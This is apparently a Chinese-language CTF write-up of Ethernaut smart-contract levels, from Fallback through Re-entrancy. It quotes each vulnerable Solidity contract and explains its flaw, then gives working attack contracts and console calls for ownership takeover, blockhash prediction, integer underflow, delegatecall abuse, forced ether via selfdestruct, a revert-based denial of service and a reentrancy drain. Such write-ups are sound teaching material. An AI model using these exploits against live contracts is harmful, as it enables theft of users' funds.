Ethernaut记录

Fallback

首先看通关方式

仔细看下面的合约代码.

通过这关你需要

  1. 获得这个合约的所有权
  2. 把他的余额减到0

这可能有帮助

  • 如何通过与ABI互动发送ether
  • 如何在ABI之外发送ether
  • 转换 wei/ether 单位 (参见 help() 命令)
  • Fallback 方法

再看代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;
  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }
  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }
  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }
  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }
  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

逐步分析,在合约的构造函数中将合约的部署者设置成了函数的owner并且设定了其贡献值为1000eth,如果走contribute函数来获取owner权限的话需要超过1000eth的贡献,而每次的贡献又需要小于0.001eth,这显然是不现实的,所以我们看向receive函数,在这里只要我们向receive函数携带eth,并且我们有贡献值就能拿到owner权限,最后再使用withdraw将合约剩余代币转出即可

  • contract.contribute({value:1})
  • contract.sendTransaction({value:1})
  • contract.withdraw()

FallOut

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;
  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

这很白痴是吧? 真实世界的合约必须安全的多, 难以入侵的多, 对吧?

实际上… 也未必.

Rubixi的故事在以太坊生态中非常知名. 这个公司把名字从 ‘Dynamic Pyramid’ 改成 ‘Rubixi’ 但是不知道怎么地, 他们没有把合约的 constructor 方法也一起更名:

contract Rubixi {
  address private owner;
  function DynamicPyramid() { owner = msg.sender; }
  function collectAllFees() { owner.transfer(this.balance) }
  ...

这让攻击者可以调用旧合约的constructor 然后获得合约的控制权, 然后再获得一些资产. 是的. 这些重大错误在智能合约的世界是有可能的.

就这没错

Coin Flip

这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。

这可能能帮助到你

  • 查看上面的帮助页面,“控制台之外” 部分
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();//回滚
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

看代码定义的三个数字consecutiveWins,lastHash,FACTOR,分别是我们获胜的次数,最后一次区块的哈希,还有2的255次方

再看后面整个对硬币反转做判断的函数内容,首先是让blockValue值为前一个区块,并且进行判断如果此次猜测和上次猜测的区块相同就回滚整个过程,如果不是就继续下面内容

首先将此次的区块内容存储,并且让coinFilp的值为blockValue/FACTOR,此处由于自动取整,并且FACTOR值为2^255,所以结果非1即0,可以看到整个过程随机结果的产生完全依靠于上一个区块,所以我们只需要先本地执行一遍算法计算出coinFlip的值就能保证我们每次都“猜”到结果,区块大约为10秒一个,所以直接使用手撸复制猜测是不现实,我们可以再写一个合约部署到相同的区块链上来攻击该链

pragma solidity ^0.4.18;
contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  function CoinFlip() public {
    consecutiveWins = 0;
  }
  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    if (lastHash == blockValue) {
      revert();
    }
    lastHash = blockValue;
    uint256 coinFlip = blockValue/FACTOR;
    bool side = coinFlip == 1 ? true : false;
    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract exploit {
  CoinFlip expFlip;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  function exploit(address aimAddr) {
    expFlip = CoinFlip(aimAddr);
  }
  function hack() public {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool guess = coinFlip == 1 ? true : false;
    expFlip.flip(guess);
  }
}

在Remix IDE中通过Metamask部署到题目的区块链上,进行10次hack攻击即可

通过solidity产生随机数没有那么容易. 目前没有一个很自然的方法来做到这一点, 而且你在智能合约中做的所有事情都是公开可见的, 包括本地变量和被标记为私有的状态变量. 矿工可以控制 blockhashes, 时间戳, 或是是否包括某个交易, 这可以让他们根据他们目的来左右这些事情.

想要获得密码学上的随机数,你可以使用 Chainlink VRF, 它使用预言机, LINK token, 和一个链上合约来检验这是不是真的是一个随机数.

一些其它的选项包括使用比特币block headers (通过验证 BTC Relay), RANDAO, 或是 Oraclize).

Telephone

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
  address public owner;
  constructor() public {
    owner = msg.sender;
  }
  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

直接看tx.originmsg.sender的区别

msg.sender: 指直接调用智能合约功能的帐户或智能合约的地址
tx.origin: 指调用智能合约功能的账户地址,只有账户地址可以是tx.origin

我们开一个新合约直接传入我们自己的address通过新合约调用Telephone合约即可

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.16;
contract Telephone {
  address public owner;
  constructor() public {
    owner = msg.sender;
  }
  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
contract hh{
    address ow=0xeeD53DF0B7E5CF4272a2E92c4E39B1405910d8C7;
    Telephone exp;
    constructor(address name){
        exp=Telephone(name);
    }
    function hack(){
        exp.changeOwner(ow);
    }
}

这个例子比较简单, 混淆 tx.originmsg.sender 会导致 phishing-style 攻击, 比如this.

下面描述了一个可能的攻击.

  1. 使用 tx.origin 来决定转移谁的token, 比如.
function transfer(address _to, uint _value) {
  tokens[tx.origin] -= _value;
  tokens[_to] += _value;
}
  1. 攻击者通过调用合约的 transfer 函数是受害者向恶意合约转移资产, 比如
function () payable {
  token.transfer(attackerAddress, 10000);
}
  1. 在这个情况下, tx.origin 是受害者的地址 ( msg.sender 是恶意协议的地址), 这会导致受害者的资产被转移到攻击者的手上.

Token

这一关的目标是攻破下面这个基础 token 合约

你最开始有20个 token, 如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好

这可能有帮助:

  • 什么是 odometer?
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

看代码,balances映射的相当是我们的token个数,初始为20个,再看transfer函数,要求我们的token数减去交易数要大于等于0,但是问题是token数和交易数都是uint类型,恒大于等于0(因为运算结果也是uint类型),所以require根本不需要绕过,如果我们将_value值设定为21,就会出现溢出,导致我们的balance极大,也就完成了任务

contract.transfer(instance,21)

Overflow 在 solidity 中非常常见, 你必须小心检查, 比如下面这样:

if(a + c > a) {
  a = a + c;
}

另一个简单的方法是使用 OpenZeppelin 的 SafeMath 库, 它会自动检查所有数学运算的溢出, 可以像这样使用:

a = a.add(c);

如果有溢出, 代码会自动恢复.

Delegation

这一关的目标是申明你对你创建实例的所有权.

这可能有帮助

  • 仔细看solidity文档关于 delegatecall 的低级函数, 他怎么运行的, 他如何将操作委托给链上库, 以及他对执行的影响.
  • Fallback 方法
  • 方法 ID
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

很明显需要通过调用pwn函数来将owner变成我们自己,但是部署的合约是Delegation,我们该如何调用另一个合约中的函数呢,很简单,使用solidity中自带的call方法即可

在solidity中有三种call方法可用:

  • call

    <address>.call(bytes memory) returns (bool, bytes memory)

    使用给定的payload发出一个低级(low-level)的CALL命令,返回执行是否成功和数据,转发所有可用gas,可调整。

  • delegatecall

    <address>.delegatecall(bytes memory) returns (bool, bytes memory)

    使用给定payload发出一个低级的DELEGATECALL指令,返回执行是否成功和数据,转发所有可用gas,可调整。

  • staticcall

    <address>.staticcall(bytes memory) returns (bool, bytes memory)

    使用给定payload发出一个低级的STATICCALL指令,返回执行是否成功和数据,转发所有可用gas,可调整。

  • 这官方文档纯纯废话,说了跟没说一样

乍一看似乎内容都差不多,那我们自己调用这些命令来测试一下吧

pragma solidity ^0.4.23;
contract Calltest {
    address public b;

    function test() public {
        b=address(this);
    }
}
contract Compare {
    address public b;
    address public testaddress;

    event logb(address _a);

    constructor(address _addressOfCalltest) public {
        testaddress = _addressOfCalltest;
    }
    function withcall() public {//通过call方法调用函数
        testaddress.call(bytes4(keccak256("test()")));
        emit logb(b);
    }
    function withdelegatecall() public {//通过delegatecall方法调用函数
        testaddress.delegatecall(bytes4(keccak256("test()")));
        emit logb(b);
    }
}

图中可以看到,在使用call方法调用函数时,可以发现CALLTEST合约的b已经变成了这个合约的部署地址 0xDA0bab807633f07f013f94DD0E6A4F96F8742B53,而Compare合约的地址并没有变化。说明call只是在Calltest合约中执行了test函数

而在使用delegatecall方法调用函数时,COMPARE合约的b变成了合约部署地址,说明这个函数实际上是在Compare合约中执行的,也就相当于是把函数复制了一份到合约中执行

那么在这个合约中我们只需要通过fallback执行delegatecall来进入Delegate合约中的pwn方法来执行替换owner

而fallback函数的执行只需要sendTransaction方法,带上data即可执行pwn函数,方法的ID是4字节的sha3

contract.sendTransaction({data:web3.utils.sha3("pwn()").slice(0,10)})

使用delegatecall 是很危险的, 而且历史上已经多次被用于进行 attack vector. 使用它, 你对合约相当于在说 “看这里, -其他合约- 或是 -其它库-, 来对我的状态为所欲为吧”. 代理对你合约的状态有完全的控制权. delegatecall 函数是一个很有用的功能, 但是也很危险, 所以使用的时候需要非常小心.

请参见 The Parity Wallet Hack Explained 这篇文章, 他详细解释了这个方法是如何窃取三千万美元的.

Force

有些合约就是拒绝你的付款,就是这么任性 ¯\_(ツ)_/¯

这一关的目标是使合约的余额大于0

这可能有帮助:

  • Fallback 方法
  • 有时候攻击一个合约最好的方法是使用另一个合约.
  • 阅读上方的帮助页面, “控制台之外” 部分
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

想让合约余额大于0首先想到的就是直接转账了contract.sendTransaction(instance,1),但是由于fallback重写导致我们的交易被回退,如图所示

此时我们就需要用到另一个合约了,在selfdestruct函数中会将整个合约销毁并将合约余额强制给予指定地址并且忽略fallback函数,所以这里我们只需要在制作一个新合约,存入代币,销毁发送到题目合约即可

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.16;
contract Test{
  address aim;
  constructor (address t){
    aim=t;
  }
  function a() payable{
    
  }
  function sd(){
    selfdestruct(aim);
  }
}

在solidity中, 如果一个合约要接受 ether, fallback 方法必须设置为 payable.

但是, 并没有发什么办法可以阻止攻击者通过自毁的方法向合约发送 ether, 所以, 不要将任何合约逻辑基于 address(this).balance == 0 之上.

Vault

打开 vault 来通过这一关!

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

明显要拿password,但是private怎么拿呢?

这涉及到一点:以太坊部署和合约上所有的数据都是可读的,包括这里合约内定义为private类型的password变量,我们可以使用web3.eth.getStorageAt来读取合约行对应地址的数据

web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])

第一个参数时对应要读取的合约地址,第二个参数是要读取内容的索引位置(变量是第几个被定义的变量),第三个参数如果被设置,那么就不会使用默认的block(被web3.eth.defaultBlock设置的默认块),而是使用用户自定义的块,这个参数可选项有"earliest", "latest""pending",第四个选项设置回调函数。

所以我们直接读就好啦,password第二个被定义,我们直接读1

await web3.eth.getStorageAt(contract.address,1)

然后用password解锁就好啦~

请记住, 将一个变量设制成私有, 只能保证不让别的合约访问他. 设制成私有的状态变量和本地变量, 依旧可以被公开访问.

为了确保数据私有, 需要在上链前加密. 在这种情况下, 密钥绝对不要公开, 否则会被任何想知道的人获得. zk-SNARKs 提供了一个可以判断某个人是否有某个秘密参数的方法,但是不必透露这个参数.

King

下面的合约表示了一个很简单的游戏: 任何一个发送了高于目前价格的人将成为新的国王. 在这个情况下, 上一个国王将会获得新的出价, 这样可以赚得一些以太币. 看起来像是庞氏骗局.

这么有趣的游戏, 你的目标是攻破他.

当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

直接看receive,我们需要出价比原来的king高才能拿到控制权,并且题目中说了在提交实例是关卡会重新尝试夺回王权,也就是再给我们一个更大数额的eth,我们怎么才能防止他通过更高出价来夺走王位呢?

我们只需要在另起一个合约,在合约中设置receive内容为revert函数,这样在我们的合约收到代币的时候就会触发回滚导致king重夺王位失败

pragma solidity ^0.6.0;
contract AttackKing {
    constructor(address payable _victim) public payable {
        _victim.call.gas(1000000).value(0.01 ether)("");
    }
    receive() external payable {
        revert();
    }
}

大多数 Ethernaut 的关卡尝试展示真实发生的 bug 和 hack (以简化过的方式).

关于这次的情况, 参见: King of the EtherKing of the Ether Postmortem

Re-entrancy

经典的重入漏洞终于来喽

这一关的目标是偷走合约的所有资产.

这些可能有帮助:

  • 不可信的合约可以在你意料之外的地方执行代码.
  • Fallback methods
  • 抛出/恢复 bubbling
  • 有的时候攻击一个合约的最好方式是使用另一个合约.
  • 查看上方帮助页面, “控制台之外” 部分
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

注意这里使用了call{value:xx}的形式,callsendtransfer函数底层实现,也是用来转账的。与它们的区别在于,参考链接

  • transfer:要求接收的智能合约中必须有一个fallback或者receive函数,否则会抛出一个错误(error),并且revert(也就是回滚到交易前的状态)。而且有单笔交易中的操作总gas不能超过2300的限制。transfer函数会在以下两种情况抛出错误:
    • 付款方合约的余额不足,小于所要发送的value
    • 接收方合约拒绝接收支付
  • send:和transfer函数的工作方式基本一样,唯一的区别在于,当出现上述两种交易失败的情况时,send的返回结果是一个boolean值,而不会执行revert回滚。
  • call: call函数和上面最大的区别在于,它没有gas的限制,使用call时EVM将所有gas转移到接收合约上,形式如下:

审计合约代码,这个合约的作用类似于银行,donate存withdraw取,那么这个代码问题究竟出在哪里呢,我们直接看存款函数,首先判断我们的账户是否有足够余额,然后给我们的账户转帐,最后扣除余额,看起来都没什么问题,但是如果银行的存款账户并不是一个钱包而是一个合约呢?

这时会直接进入到这个合约的fallback或者receive函数中,这时我们可以编写一个特殊的合约,让接收函数的fallback函数重复调用目标合约的withdraw函数,这样合约就会不断给我们所编写的合约转账直至余额为0。具体代码如下

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract attack {

    address payable target;
    address payable public owner;
    uint amount = 100000000000000 wei;

    constructor(address payable _addr) public payable {
        target=_addr;
        owner = msg.sender;
    }

    function step1() public payable{
        bool b;
        (b,)=target.call{value: amount}(abi.encodeWithSignature("donate(address)",address(this)));
        require(b,"step1 error");
    }

    function setp2() public payable {
        bool b;
        (b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
        require(b,"step2 error");
    }


    fallback () external payable{
        bool b;
        (b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
        require(b,"fallback error");
    }

    function mywithdraw() external payable{
        require(msg.sender==owner,'not you');
        msg.sender.transfer(address(this).balance);
    }
}

1000000000000000